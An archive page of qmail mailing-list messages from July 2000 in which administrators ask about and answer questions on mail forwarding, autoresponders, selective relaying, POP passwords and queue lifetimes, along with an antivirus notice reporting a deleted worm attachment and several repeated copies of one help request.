Re: many mails to same user

2000-07-19 Thread Eric Cox



Henrik Gemal wrote:
 
 What is the easiest way to acomplish this forwarding in qmail:
 [EMAIL PROTECTED] -  [EMAIL PROTECTED]
 [EMAIL PROTECTED] - [EMAIL PROTECTED]
 [EMAIL PROTECTED] - [EMAIL PROTECTED]
 [EMAIL PROTECTED] - [EMAIL PROTECTED]
 @gemal.dk - [EMAIL PROTECTED]
 
 Do I really have to have 5 .qmail files???
 
 Isn't there a way to say:
 [bla1|bla2]@gemal.dk - [EMAIL PROTECTED]
 [kill|spam]@gemal.dk - [EMAIL PROTECTED]
 

Hi Henrik!

Do these users actually exist?  Or to be more precise: Is 
there any reason for these users to have valid accounts?  

If not, then you could do the following:

echo "[EMAIL PROTECTED]"  ~alias/.qmail-bla1
echo "[EMAIL PROTECTED]"  ~alias/.qmail-bla2
echo "[EMAIL PROTECTED]"  ~alias/.qmail-kill
echo "[EMAIL PROTECTED]"  ~alias/.qmail-spam

for the first four.  Not sure if "@gemal.dk" would be 
delivered at all - maybe to the account in 
~alias/.qmail-default?

Eric



RE: Announcing qmail-autoresponder version 0.91

2000-07-19 Thread Mitul Limbani

Hey Bruce,

I installed qmail-autoresponder but i m like in a fix, dont know wat to do..
according to the insturction i put this in my .qmail-default file..


==
"username | qmail-autoresponder /path/to/auto.txt"

==

and the auto.txt file is containing..

==
Thanks for contacting me, your mail has been noted and would be responded
ASAP.
-Mitul Limbani

==
But the mail is not being autoresponded...
the qmail-autoresponder file is in the path for the user... or should i user
absolute path to it ?
and the user owns the file .qmail-default and auto.txt
permission are
rw-r--r-- for auto.txt
rw-r--r-- for .qmail-default

and i also tried it by creating a file called .qmail-username but in vain...

can u help me regarding the same or may be can u send accross your sample
files it could be of much help...

Anticipating your prompt reply,
Regards,
-Mitul Limbani
(mitul 2 mitul.com)



-Original Message-
From: Bruce Guenter [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 18, 2000 10:25 PM
To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
Subject: Announcing qmail-autoresponder version 0.91


Version 0.91 of qmail-autoresponder is now available at:
http://em.ca/~bruceg/qmail-autoresponder/

See the documentation there for more details,
or join the mailing list by sending an email to:
[EMAIL PROTECTED]

Development versions of qmail-autoresponder are available via anonymous CVS.
Set your CVSROOT to ":pserver:[EMAIL PROTECTED]:/CVS",
login with an empty password, and check out the qmail-autoresponder module.


---
Changes in version 0.91

- Added an option to insert the original subject into the reply.

- Simplified the header scanning logic.

---

qmail-autoresponder
Rate-limited autoresponder for qmail
Bruce Guenter [EMAIL PROTECTED]
Version 0.91
2000-07-18

This is a simple program to automatically respond to emails.

It is based on some ideas (but little or no code) from a similar
autoresponder by Eric Huss [EMAIL PROTECTED], and ideas presented
in the qmail mailing list.

Features:
- Limits rate of automatic responses (defaults to a maximum of one
  message every hour).
- Will not respond to nearly every type of mailing list or bulk email.
- Will not respond to bounce messages or MAILER-DAEMON.
- Bounces looping messages.
- Can copy original message into response.
- Uses links in the rate-limiting data directory to preserve inodes.

Usage:

Put "|qmail-autoresponder MESSAGE_FILE DIRECTORY" into your ".qmail"
file before other delivery instructions.  MESSAGE_FILE is a
pre-formatted response, including headers, and DIRECTORY is the
directory into which rate-limiting information will be stored.

This program is Copyright(C) 2000 Bruce Guenter, and may be copied
according to the GNU GENERAL PUBLIC LICENSE (GPL) Version 2 or a later
version.  A copy of this license is included with this package.  This
package comes with no warranty of any kind.




now... Supervise problem

2000-07-19 Thread Audouy Jérôme

 Access to /var/log/qmail/qmail-send requires more than just the
 correct owner. The mode on the directory has to be right, as does the
 mode of all of the parent directories.
arf, it was a stupid problem, the default mode for the directory
/var/log was 700 :p

thanks :)

@++
Dji.
-- 
Audouy Jérôme - 3rd year student in E.S.S.I. (Ecole Supérieure en Sciences 
Informatiques)
e-mail : [EMAIL PROTECTED] / [EMAIL PROTECTED]
www: http://djidji.citeweb.net / http://www.essi.fr/~audouy





Re: qmailanalog and zoverall.

2000-07-19 Thread Moragues Ramón, Antonio


Hi,

I do it with:

printf("Bytes in completed messages: %.0f\n", mbytes)
printf("Bytes weighted by success: %.0f\n", rbytes)

Thanks

On Tue, 18 Jul 2000, Michael T. Babcock wrote:

 Is awk perhaps using an output format that uses scientific notation when the
 number (mbytes) is too large?  Should you change "print mbytes" to "printf
 ("%d", mbytes)" ???
 
 Moragues Ramón, Antonio wrote:
 
  Hi,
 
  I run a qmail server and I want know the total number of bytes sent
  trought it, y use qmailanalog 0.70 and gawk 3.0.4, but instead of show the
  total bytes in completes messages show a nunmber like this 1.983e+10, I
  tried use gawk and mawk, the server is a Debian GNU/Linux 2.2 on a PII
  450, anyone know whats the problem?.
 
  Completed messages: 203516
  Recipients for completed messages: 249900
  Total delivery attempts for completed messages: 262893
  Average delivery attempts per completed message: 1.29176
  Bytes in completed messages: 1.983e+10
  Bytes weighted by success: 3.26035e+10
  Average message qtime (s): 187.789
 
  Total delivery attempts: 277221
success: 248610
failure: 3155
deferral: 25456
  Total ddelay (s): 41635824.792378
  Average ddelay per success (s): 167.474457
  Total xdelay (s): 6424254.748057
  Average xdelay per delivery attempt (s): 23.173767
  Time span (days): 15.0111
  Average concurrency: 4.95331
 




Re: now... Supervise problem

2000-07-19 Thread Audouy Jérôme

oups, no supervise problem ... problem solved :)


-- 
Audouy Jérôme - 3rd year student in E.S.S.I. (Ecole Supérieure en Sciences 
Informatiques)
e-mail : [EMAIL PROTECTED] / [EMAIL PROTECTED]
www: http://djidji.citeweb.net / http://www.essi.fr/~audouy





qmail Digest 19 Jul 2000 10:00:00 -0000 Issue 1067

2000-07-19 Thread qmail-digest-help


qmail Digest 19 Jul 2000 10:00:00 - Issue 1067

Topics (messages 44907 through 44983):

vpopmail/qmailadmin with fetchmail and maildirsmtp: where to start?
44907 by: michael.renner.gmx.de

smail + qmail
44908 by: Mirek

Re: urgent help required
44909 by: çééí äìôøï
44941 by: Aaron Seelye

load question
44910 by: Jeff Jones

[?!]urgent help needed, thanks in advanced!:)
44911 by: ´¿¬L©ú

serialsmtp errors
44912 by: Gillian Bennett

Re: mail filters
44913 by: William E. Baxter

Re: RBL list
44914 by: Henry Baragar
44915 by: TAG
44916 by: Henry Baragar
44918 by: Bruno Wolff III
44921 by: Chris, the Young One
44925 by: Paul Farber
44932 by: Bruno Wolff III
44934 by: Paul Farber
44935 by: Michael T. Babcock

Re: IPCHAINS and slow POP/SMTP access
44917 by: Bruno Wolff III
44920 by: Aijaz A. Ansari
44927 by: Austad, Jay
44938 by: Doug Oucharek

mail filters 2
44919 by: Matthias Henze

Re: fastforward and alternative alias file
44922 by: Ben Beuchler

Re: questions about performance and setup
44923 by: Austad, Jay
44930 by: markd.bushwire.net
44931 by: Clint Bullock
44933 by: Michael T. Babcock
44936 by: Austad, Jay
44943 by: Bruce Guenter
44945 by: Michael T. Babcock
44948 by: Bruce Guenter
44949 by: markd.bushwire.net
44952 by: Michael T. Babcock
44953 by: Michael T. Babcock

Re: Announcing qmail-autoresponder version 0.90
44924 by: Thomas Erskine
44944 by: Bruce Guenter
44950 by: Bruce Guenter

Netscape Progress Patch
44926 by: Michael T. Babcock
44928 by: Petr Novotny
44940 by: Russell Nelson
44946 by: Michael T. Babcock

Multilog problem
44929 by: Audouy Jérôme
44954 by: Dave Sill

qmailanalog and zoverall.
44937 by: Moragues Ramón, Antonio
44947 by: Michael T. Babcock
44982 by: Moragues Ramón, Antonio

Unable to chdir to maildir
44939 by: Michael T. Babcock

sqwebmail cannot install
44942 by: Jia Rong

"alert: unable to opendir todo"
44951 by: Stephan Riberi

Defining  as local and not remote
44955 by: Robert Spraggs
44956 by: Aaron L. Meehan
44957 by: Robert Spraggs
44964 by: Aaron L. Meehan
44966 by: Robert Spraggs

How do I stop this spam test from failing?
44958 by: Robert Spraggs
44959 by: Adam McKenna
44960 by: Robert Spraggs
44961 by: Adam McKenna
44962 by: Robert Spraggs
44965 by: Aaron L. Meehan
44967 by: Erwin Hoffmann

many mails to same user
44963 by: Henrik Gemal
44978 by: Russell Nelson
44979 by: Eric Cox

several mail domains on one machine
44968 by: Thomas Haberland

Urgent Help Needed
44969 by: Tony Campisi
44970 by: asantos
44971 by: Gavin Cameron
44972 by: asantos
44973 by: Tony Campisi
44974 by: asantos

| preline procmail
44975 by: Devinder

How to delete mails in smtp queue
44976 by: David

Announcing qmail-autoresponder version 0.91
44977 by: Bruce Guenter
44980 by: Mitul Limbani

now... Supervise problem
44981 by: Audouy Jérôme
44983 by: Audouy Jérôme

Administrivia:

To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]

To subscribe to the digest, e-mail:
[EMAIL PROTECTED]

To bug my human owner, e-mail:
[EMAIL PROTECTED]

To post to the list, e-mail:
[EMAIL PROTECTED]


--



Hello,
I run a small internal network. All mails for the
employees are transfered through an isdn dial-up
line. I use fetchmail, qmail therefor, mails are
sent by using maildirsmtp.
Every mail-user needs an own account on this
linux router, which is not needful for the normal
work.

Now I installed vpopmail and qmailadmin to
change this, but I dont know where to start!

How do I have to configure fetchmail to transfer
the mails not to the system users (I fetch mails from a
multidrop mailbox with pop3)?
What else do I have to change? And how should I
handle these users, which still needs a
user account on this router/gateway/mailer as
well as a mailaccount?

Thanks in advance for hints and pointers to the
documentation.
-- 
|Michael Renner  E-mail: [EMAIL PROTECTED]|
|D-72072 Tuebingen   Germany  |
mail -s "get pgp key" [EMAIL PROTECTED]  /dev/null
mail -s "get gpg key" [EMAIL PROTECTED]  /dev/null
|Don't drink as root!ESC:wq




Has anyone anonnced some kind of problem  smail--qmail cooperation ?
I can't send mail from host ruuning smail to host with qmail.
Other host running sendmail, exim, qmail can talk to this qmail box.
Also my smail 

Password changed via the web

2000-07-19 Thread Mark Lo

Hi,

 I would like to know how to change user's password via the web, as
I know, (qmail) mail userl's password is corresponding to Redhat linux
user's password.  Please give me any idea of how to let my user change
password via the web.  And the web server and qmail server is located at
different machine.

Thank You so much for your help

Mark Lo







Help-qmail not receiving mail

2000-07-19 Thread Lydia





I have inherited a system that's running 
qmail. It's working fine but we have just 
added a new portmaster, to which ppp clients should dial in . After 
dialing in a ppp client can send mail, but can not receive, we get an error 
message that reads tcpclient unable to connect to 127.0.0.1 port 5 timed 
out, port 110 secure (SSL): no server error: 0x800ccc90, error number. I 
think this has something to do with the IP Addresses the ppp user is 
assigned. Please help?

Thanks Lydia


problem qmail

2000-07-19 Thread Agus Hariadi



Hi,
I was found error when start qmail the message 
is



Jul 19 18:43:27 freebsd qmail: 964032207.134614 
alert: cannot start: hath the daemon spawn no fire? 

what going on ?
help me





Antigen found JS/Kak.Worm virus

2000-07-19 Thread UMR CIS Antigen

Antigen for Exchange found Unknown infected with JS/Kak.Worm virus.
The file is currently Deleted.  The message, "problem qmail", was
sent from Agus Hariadi  and was discovered in IMC Queues\Inbound
located at University of Missouri/Rolla/UMR-MAIL01.



cannot start qmail

2000-07-19 Thread Agus Hariadi



Hi,I was found error when start qmail the message is

Jul 19 18:43:27 freebsd qmail: 964032207.134614 alert: cannot start: 
=hath the daemon spawn no fire?=20

what going on ?help me




Re: Help-qmail not receiving mail

2000-07-19 Thread Lydia



Thanks Hitesh,
When other ppp clients dial into this portmaster 
and try pick their mail from a server running sendmail, they collect without any 
problem.

Lydia

  - Original Message - 
  From: 
  Hitesh 
  Thakkar 
  To: Lydia 
  Sent: Wednesday, July 19, 2000 2:39 
  PM
  Subject: RE: Help-qmail not receiving 
  mail
  
  Dear 
  Ms. Lydia,
  
  1. 
  Please check the portmaster configuration, POP server is not able sent 
  onthe IP address of PPP client with POP port 110 and thus 
  clientmight be getting LOOPBACK address 127.0.0.1.
  
  2. 
  POP client is not able to open receive chennel IP address say OUTLOOK will 
  have configuration for incoming and outgoing mail server 
  address.
  
  
  Hitesh
  
  
-Original Message-From: Lydia 
[mailto:[EMAIL PROTECTED]]Sent: Wednesday, July 19, 2000 
5:02 PMTo: [EMAIL PROTECTED]Subject: Help-qmail not 
receiving mail


I have inherited a system that's running 
qmail. It's working fine but we have 
just added a new portmaster, to which ppp clients should dial in . 
After dialing in a ppp client can send mail, but can not receive, we get an 
error message that reads tcpclient unable to connect to 127.0.0.1 port 5 
timed out, port 110 secure (SSL): no server error: 0x800ccc90, error 
number. I think this has something to do with the IP Addresses the ppp 
user is assigned. Please help?

Thanks 
Lydia


Re: Help-qmail not receiving mail

2000-07-19 Thread Lydia



Thanks,
When other ppp clients dial into this portmaster 
and try pick their mail from a server running sendmail, they collect without any 
problem.

Lydia

  - Original Message - 
  From: 
  Hitesh 
  Thakkar 
  To: Lydia 
  Sent: Wednesday, July 19, 2000 2:39 
  PM
  Subject: RE: Help-qmail not receiving 
  mail
  
  Dear 
  Ms. Lydia,
  
  1. 
  Please check the portmaster configuration, POP server is not able sent 
  onthe IP address of PPP client with POP port 110 and thus 
  clientmight be getting LOOPBACK address 127.0.0.1.
  
  2. 
  POP client is not able to open receive chennel IP address say OUTLOOK will 
  have configuration for incoming and outgoing mail server 
  address.
  
  
  Hitesh
  
  
-Original Message-From: Lydia 
[mailto:[EMAIL PROTECTED]]Sent: Wednesday, July 19, 2000 
5:02 PMTo: [EMAIL PROTECTED]Subject: Help-qmail not 
receiving mail


I have inherited a system that's running 
qmail. It's working fine but we have 
just added a new portmaster, to which ppp clients should dial in . 
After dialing in a ppp client can send mail, but can not receive, we get an 
error message that reads tcpclient unable to connect to 127.0.0.1 port 5 
timed out, port 110 secure (SSL): no server error: 0x800ccc90, error 
number. I think this has something to do with the IP Addresses the ppp 
user is assigned. Please help?

Thanks 
Lydia


Re: Help-qmail not receiving mail

2000-07-19 Thread Lydia



Thanks 
When other ppp clients dial into this portmaster 
and try pick their mail from a server running sendmail, they collect without any 
problem.

Lydia

  - Original Message - 
  From: 
  Hitesh 
  Thakkar 
  To: Lydia 
  Sent: Wednesday, July 19, 2000 2:39 
  PM
  Subject: RE: Help-qmail not receiving 
  mail
  
  Dear 
  Ms. Lydia,
  
  1. 
  Please check the portmaster configuration, POP server is not able sent 
  onthe IP address of PPP client with POP port 110 and thus 
  clientmight be getting LOOPBACK address 127.0.0.1.
  
  2. 
  POP client is not able to open receive chennel IP address say OUTLOOK will 
  have configuration for incoming and outgoing mail server 
  address.
  
  
  Hitesh
  
  
-Original Message-From: Lydia 
[mailto:[EMAIL PROTECTED]]Sent: Wednesday, July 19, 2000 
5:02 PMTo: [EMAIL PROTECTED]Subject: Help-qmail not 
receiving mail


I have inherited a system that's running 
qmail. It's working fine but we have 
just added a new portmaster, to which ppp clients should dial in . 
After dialing in a ppp client can send mail, but can not receive, we get an 
error message that reads tcpclient unable to connect to 127.0.0.1 port 5 
timed out, port 110 secure (SSL): no server error: 0x800ccc90, error 
number. I think this has something to do with the IP Addresses the ppp 
user is assigned. Please help?

Thanks 
Lydia


Re: Help-qmail not receiving mail

2000-07-19 Thread Lydia



Thanks,
When other ppp clients dial into this portmaster 
and try pick their mail from a server running sendmail, they collect without any 
problem.

Lydia

  - Original Message - 
  From: 
  Hitesh 
  Thakkar 
  To: Lydia 
  Sent: Wednesday, July 19, 2000 2:39 
  PM
  Subject: RE: Help-qmail not receiving 
  mail
  
  Dear 
  Ms. Lydia,
  
  1. 
  Please check the portmaster configuration, POP server is not able sent 
  onthe IP address of PPP client with POP port 110 and thus 
  clientmight be getting LOOPBACK address 127.0.0.1.
  
  2. 
  POP client is not able to open receive chennel IP address say OUTLOOK will 
  have configuration for incoming and outgoing mail server 
  address.
  
  
  Hitesh
  
  
-Original Message-From: Lydia 
[mailto:[EMAIL PROTECTED]]Sent: Wednesday, July 19, 2000 
5:02 PMTo: [EMAIL PROTECTED]Subject: Help-qmail not 
receiving mail


I have inherited a system that's running 
qmail. It's working fine but we have 
just added a new portmaster, to which ppp clients should dial in . 
After dialing in a ppp client can send mail, but can not receive, we get an 
error message that reads tcpclient unable to connect to 127.0.0.1 port 5 
timed out, port 110 secure (SSL): no server error: 0x800ccc90, error 
number. I think this has something to do with the IP Addresses the ppp 
user is assigned. Please help?

Thanks 
Lydia


Re: Help-qmail not receiving mail

2000-07-19 Thread Lydia



Thanks 
When other ppp clients dial into this portmaster 
and try pick their mail from a server running sendmail, they collect without any 
problem.

Lydia

  - Original Message - 
  From: 
  Hitesh 
  Thakkar 
  To: Lydia 
  Sent: Wednesday, July 19, 2000 2:39 
  PM
  Subject: RE: Help-qmail not receiving 
  mail
  
  Dear 
  Ms. Lydia,
  
  1. 
  Please check the portmaster configuration, POP server is not able sent 
  onthe IP address of PPP client with POP port 110 and thus 
  clientmight be getting LOOPBACK address 127.0.0.1.
  
  2. 
  POP client is not able to open receive chennel IP address say OUTLOOK will 
  have configuration for incoming and outgoing mail server 
  address.
  
  
  Hitesh
  
  
-Original Message-From: Lydia 
[mailto:[EMAIL PROTECTED]]Sent: Wednesday, July 19, 2000 
5:02 PMTo: [EMAIL PROTECTED]Subject: Help-qmail not 
receiving mail


I have inherited a system that's running 
qmail. It's working fine but we have 
just added a new portmaster, to which ppp clients should dial in . 
After dialing in a ppp client can send mail, but can not receive, we get an 
error message that reads tcpclient unable to connect to 127.0.0.1 port 5 
timed out, port 110 secure (SSL): no server error: 0x800ccc90, error 
number. I think this has something to do with the IP Addresses the ppp 
user is assigned. Please help?

Thanks 
Lydia


routing a qmail setup

2000-07-19 Thread martin langhoff

hello,

first of all, sorry for the subject, I didn't know who to clearly
explain what I'm trying to do in a line. My setup is simple: 

- I've got 2 qmail servers, one co-located and one internal to my
company, with dial-up connection.
- Both think they are *.scim.net MX
- Upon dial-up connection, the internal server uses fetchmail to
download mail for local users and I send an ALRM signal to qmail-send. 

the problem is here: qmail-send sends the remote mail directly to the
recipients MX, and those are somethimes flaky (hotmail accounts,
specially), so it keeps trying for a long time until the mail is sent or
the delay is so long the the connection times out and disconnects. 

[ important point here, the dial-up connection (through pppd) is set to
hangup when it reached a certain time of inactivity ]

what I want it to do is:
- route all the 'remote' mail to the online server.
- the remote server should RELAY those mail, but ... only from me
(don't really want to be an open relay). But hey! I'm on a dial-up acc
- dynamic ip ... 

I really think it *should* be possible to 'route' all my traffic
through the co-located server, but can I keep it from being an open
relay? 


thanks in advance, specially if you read this long, long posting!


martin [just getting in terms with qmail]



Re: cannot start qmail

2000-07-19 Thread Magnus Bodin

On Wed, Jul 19, 2000 at 07:44:52PM +0700, Agus Hariadi wrote:
 Hi,
 I was found error when start qmail the message is
 
 Jul 19 18:43:27 freebsd qmail: 964032207.134614 alert: cannot start: =
 hath the daemon spawn no fire?=20

Are you starting /var/qmail/rc as root? 
 
/magnus

--
http://x42.com/



RE: routing a qmail setup

2000-07-19 Thread Greg Owen

   - I've got 2 qmail servers, one co-located and one 
 internal to my company, with dial-up connection.
   - Both think they are *.scim.net MX
   - Upon dial-up connection, the internal server uses fetchmail to
 download mail for local users and I send an ALRM signal to 
 qmail-send. 
... 
   what I want it to do is:
   - route all the 'remote' mail to the online server.
   - the remote server should RELAY those mail, but ... 
 only from me (don't really want to be an open relay). But
 hey! I'm on a dial-up acc - dynamic ip ... 
 
   I really think it *should* be possible to 'route' all my traffic
 through the co-located server, but can I keep it from being an open
 relay? 

On internal.scim.net, your smtproutes should contain the following:

:external.scim.net

That way, all domains not local will be forwarded to
external.scim.net for relay.  external.scim.net must allow selective
relaying; if you're using tcpserver, then add the IP address of
internal.scim.net followed by ':allow,RELAYCLIENT=""' into /etc/tcp.smtp and
type 'tcprules /etc/tcp.smtp.cdb /tmp/tcp.tmp  /etc/tcp.smtp'  (This is
paraphrasing Michael Samuel's detailed "How to selective relay" instructions
at http://qmail-docs.surfdirect.com.au/docs/qmail-antirelay.html, which
seems to be not responding right now.


-- 
gowen -- Greg Owen -- [EMAIL PROTECTED]



any update Virus Subject List?

2000-07-19 Thread Chris Chan


Is there any update "Virus Subject List"? I want to add to our qmail mail
filter. like "ILOVEYOU" ... etc. Anyone can point me to the right place?
Thanks much



  Chris Chan






Re: Urgent Help Needed

2000-07-19 Thread Steven M. Klass


At 04:49 AM 7/19/00 +, asantos wrote:
From: Tony Campisi [EMAIL PROTECTED]
 Thanks guys for answering. Armando, I'm gonna try to write 110 instead of
 pop3 or pop-3 next time.


No prob.

May I suggest you keep sendmail up and run the smtp and pop services on
other ports for testing purposes?

Armando

Now every once in awhile a really slick idea comes about...  Great idea, 
because then you can telnet in to any port and verify functionality of the 
pop checkpasswd  Cool :o)

Steven M. Klass
Physical Design Engineering Manager

Andigilog Inc.
7404 W. Detroit Street, Suite 100
Chandler, AZ 85226
Ph: 602-940-6200 ext. 18
Fax: 602-940-4255

[EMAIL PROTECTED]
http://www.andigilog.com/





checkpassword

2000-07-19 Thread Audouy Jérôme

  is it possible to have a password for qmail-pop3d different then the linux
password because the current passwords for the current internal server
(using window$ $oftware) have only a 2 letter password (i know that it's
impossible to have it under linux with kernel 2.2.16) and for a simply way
for upgrading server to qmail, i would like to know how i can do 


P.S : i know that it isn't good to have only two letters for a
password, but i have not the choice...

thx
Dji.
-- 
Audouy Jérôme - 3rd year student in E.S.S.I. (Ecole Supérieure en Sciences 
Informatiques)
e-mail : [EMAIL PROTECTED] / [EMAIL PROTECTED]
www: http://djidji.citeweb.net / http://www.essi.fr/~audouy





Bounce Back Message

2000-07-19 Thread lkhanna

I have got a Qmail on Linux 5.2. By default the time taken for the message
if any mail bounce back is seven days. Now I want to configure it in a way
that this message should be generated after two days. Could you suggest
that how should I go about this.

Thanks
Lokesh





Re: Bounce Back Message

2000-07-19 Thread Petr Novotny

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 19 Jul 00, at 20:31, [EMAIL PROTECTED] wrote:

 I have got a Qmail on Linux 5.2. By default the time taken for the
 message if any mail bounce back is seven days. Now I want to configure
 it in a way that this message should be generated after two days.
 Could you suggest that how should I go about this.

1. Read the docs (man qmail-control).
2. Create (or edit) /var/qmail/control/queuelifetime and put there 
time in seconds in which the mail should timeout and bounce; 
2days is 172800; the default is 604800, ie.7days.

-BEGIN PGP SIGNATURE-
Version: PGP 6.0.2 -- QDPGP 2.60 
Comment: http://community.wow.net/grt/qdpgp.html

iQA/AwUBOXW2XFMwP8g7qbw/EQKHcgCdHmkmCw6X/FuoMVxd7zjHTgfjSJoAnjH3
ZcrIeE3g44T7d/G+Fmxlke55
=DKo7
-END PGP SIGNATURE-
--
Petr Novotny, ANTEK CS
[EMAIL PROTECTED]
http://www.antek.cz
PGP key ID: 0x3BA9BC3F
-- Don't you know there ain't no devil there's just God when he's drunk.
 [Tom Waits]



RE: checkpassword

2000-07-19 Thread çééí äìôøï

hi
you have to use a checkpassword replacement that checks another file, let
say /etc/poppasswd...


-Original Message-
From: Audouy Jérôme [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, July 19, 2000 4:24 PM
To: [EMAIL PROTECTED]
Subject: checkpassword


  is it possible to have a password for qmail-pop3d different then the linux
password because the current passwords for the current internal server
(using window$ $oftware) have only a 2 letter password (i know that it's
impossible to have it under linux with kernel 2.2.16) and for a simply way
for upgrading server to qmail, i would like to know how i can do 


P.S : i know that it isn't good to have only two letters for a
password, but i have not the choice...

thx
Dji.
--
Audouy Jérôme - 3rd year student in E.S.S.I. (Ecole Supérieure en Sciences
Informatiques)
e-mail : [EMAIL PROTECTED] / [EMAIL PROTECTED]
www: http://djidji.citeweb.net / http://www.essi.fr/~audouy



 checklocalpwd-1.0.tar.gz


Re: routing a qmail setup

2000-07-19 Thread martin langhoff

greg,

the 'internal' part of the solution works great, thanks!  Regarding the
'external' part of the solution ... you wrote

  external.scim.net must allow selective
 relaying; if you're using tcpserver, then add the IP address of
 internal.scim.net followed by ':allow,RELAYCLIENT=""' into /etc/tcp.smtp and
 type 'tcprules /etc/tcp.smtp.cdb /tmp/tcp.tmp  /etc/tcp.smtp'

but I have a dynamic IP address! [because of the dial-up connection].

is there a reasonable way to authenticate my server with tcpserver?
is there a suitable mailing list to ask about tcpserver?



martin



Re: Announcing qmail-autoresponder version 0.91

2000-07-19 Thread Bruce Guenter

On Wed, Jul 19, 2000 at 12:39:49PM -0700, Mitul Limbani wrote:
 I installed qmail-autoresponder but i m like in a fix, dont know wat to do..
 according to the insturction i put this in my .qmail-default file..
 
 
 ==
 "username | qmail-autoresponder /path/to/auto.txt"
 
 ==

The README says:
Put "|qmail-autoresponder MESSAGE_FILE DIRECTORY" into your
".qmail" file before other delivery instructions.
Your .qmail-default file will not work.

 and the auto.txt file is containing..
 
 ==
 Thanks for contacting me, your mail has been noted and would be responded
 ASAP.
 -Mitul Limbani
 
 ==

The README says:
MESSAGE_FILE is a pre-formatted response, including headers
Your message file does not contain headers.
-- 
Bruce Guenter [EMAIL PROTECTED]   http://em.ca/~bruceg/

 PGP signature


Re: routing a qmail setup

2000-07-19 Thread Petr Novotny

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 19 Jul 00, at 12:46, martin langhoff wrote:

  but I have a dynamic IP address! [because of the dial-up connection].
 
  is there a reasonable way to authenticate my server with tcpserver?

Do you want to relay through your server? (The proper way, 
usually, is to relay through your ISP's server; they know their dialup 
netblock IP.) If yes, you may want to consider one of the following 
possibilities:

1. ssh tunel
2. ssl tunel
3. POP3-before-SMTP (yes, it can work for relaying, too)
4. some other way you tell your machine your IP to be able to relay

-BEGIN PGP SIGNATURE-
Version: PGP 6.0.2 -- QDPGP 2.60 
Comment: http://community.wow.net/grt/qdpgp.html

iQA/AwUBOXXBdVMwP8g7qbw/EQJ5ogCfbTxtW0HuKXSYmTu5YdYte8MOf3MAnRAG
aeekor2IL/ydsJ/bW1cPdQ8Q
=Pjuc
-END PGP SIGNATURE-
--
Petr Novotny, ANTEK CS
[EMAIL PROTECTED]
http://www.antek.cz
PGP key ID: 0x3BA9BC3F
-- Don't you know there ain't no devil there's just God when he's drunk.
 [Tom Waits]



RE: routing a qmail setup

2000-07-19 Thread Greg Owen

   but I have a dynamic IP address! [because of the 
 dial-up connection].

Oops, missed that part.

I'm making wild guesses now, but you could script something to use
the POP-before-SMTP patch, or you could just write a password protected web
script on the external server that updates the tcp.smtp rules automatically,
and which is automatically run when your dialup comes up.

-- 
gowen -- Greg Owen -- [EMAIL PROTECTED]




Re: message route to different folder for virtual domain user

2000-07-19 Thread Chester Chee

Hi,

I have qmail 1.0.3 setup running vpopmail (virtual domain). I want to setup 
a filter for the entire domain to move any junk mail (base upon the criteria 
in the header extension) to all virtual domain user. This user will access 
their email via IMAP only. Is this doable? If so, can someone give me 
pointer where to look? I read LWQ doc and there isn't enough info. Sample 
configuration or filter code would be really helpful.

Thanks in advance.


Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com




Re: Password changed via the web - big issue !!!!

2000-07-19 Thread John van V.


That would require SSL.  I want the same thing.

You would have to build a cgi, going thru ssl, calling passwd.

The only way I can think of doing that is w/ expect.

Keep in mind... the script would have to be SUID.

This is a very big issue.  So much so that I could easily see abandoning Unix
style authentication for something available thru the various security
toolkits.

Radical, I know, but I am just that kind of person :)




--- Mark Lo [EMAIL PROTECTED] wrote:
 Hi,
 
  I would like to know how to change user's password via the web, as
 I know, (qmail) mail userl's password is corresponding to Redhat linux
 user's password.  Please give me any idea of how to let my user change
 password via the web.  And the web server and qmail server is located at
 different machine.
 
 Thank You so much for your help
 
 Mark Lo
 
 
 
 


=
John van Vlaanderen

  #
  #CXN, Inc. Contact:  [EMAIL PROTECTED]   #   #
  #  Proud Sponsor of Perl/Unix of NY #
  #http://puny.vm.com # 
  #

__
Do You Yahoo!?
Get Yahoo! Mail – Free email you can access from anywhere!
http://mail.yahoo.com/



secondary mail server

2000-07-19 Thread sonam


We have qmail-1.3 running and would like to set it up as the secondary
mail server for one domain. We want this mail server to keep trying to
forward all the mail for that domain to the primary server in case the
primary server goes down - say for about 40 hours. This is an emergency
for us, any help would be greatly appreciated. 

Sonam Wangchuk
e: [EMAIL PROTECTED]





Re: secondary mail server

2000-07-19 Thread Ben Beuchler

On Wed, Jul 19, 2000 at 12:33:42PM -0400, [EMAIL PROTECTED] wrote:

 We have qmail-1.3 running and would like to set it up as the secondary
 mail server for one domain. We want this mail server to keep trying to
 forward all the mail for that domain to the primary server in case the
 primary server goes down - say for about 40 hours. This is an emergency
 for us, any help would be greatly appreciated. 

Fine.  Very easy.  Set up the box as you would normally, put the domain
it's backing up in 'rcpthosts' but not in 'locals'.  It will accept mail
for that domain and attempt to relay it to the other server for up to a
week.

Ben

-- 
Ben Beuchler [EMAIL PROTECTED]
MAILER-DAEMON (612)-321-9290 x101
Bitstream Underground   www.bitstream.net



Re: Password changed via the web - big issue !!!!

2000-07-19 Thread Vince Vielhaber

On Wed, 19 Jul 2000, John van V. wrote:

 
 That would require SSL.  I want the same thing.
 
 You would have to build a cgi, going thru ssl, calling passwd.
 
 The only way I can think of doing that is w/ expect.
 
 Keep in mind... the script would have to be SUID.
 
 This is a very big issue.  So much so that I could easily see abandoning Unix
 style authentication for something available thru the various security
 toolkits.
 
 Radical, I know, but I am just that kind of person :)
 
  
   I would like to know how to change user's password via the web, as
  I know, (qmail) mail userl's password is corresponding to Redhat linux
  user's password.  Please give me any idea of how to let my user change
  password via the web.  And the web server and qmail server is located at
  different machine.
  
  Thank You so much for your help

It would be fairly trivial to roll your own app to do it and run it 
thru tcpserver and stunnel.  How you actually do it depends on the
OS.  In FreeBSD you can use pw, and if you want to be really slick
about it you can even use it to disable an account.

Vince.
-- 
==
Vince Vielhaber -- KA8CSHemail: [EMAIL PROTECTED]http://www.pop4.net
 128K ISDN from $22.00/mo - 56K Dialup from $16.00/mo at Pop4 Networking
Online Campground Directoryhttp://www.camping-usa.com
   Online Giftshop Superstorehttp://www.cloudninegifts.com
==






Re: secondary mail server

2000-07-19 Thread sonam


great!! thank you so much. now i have to figure out how to test it without
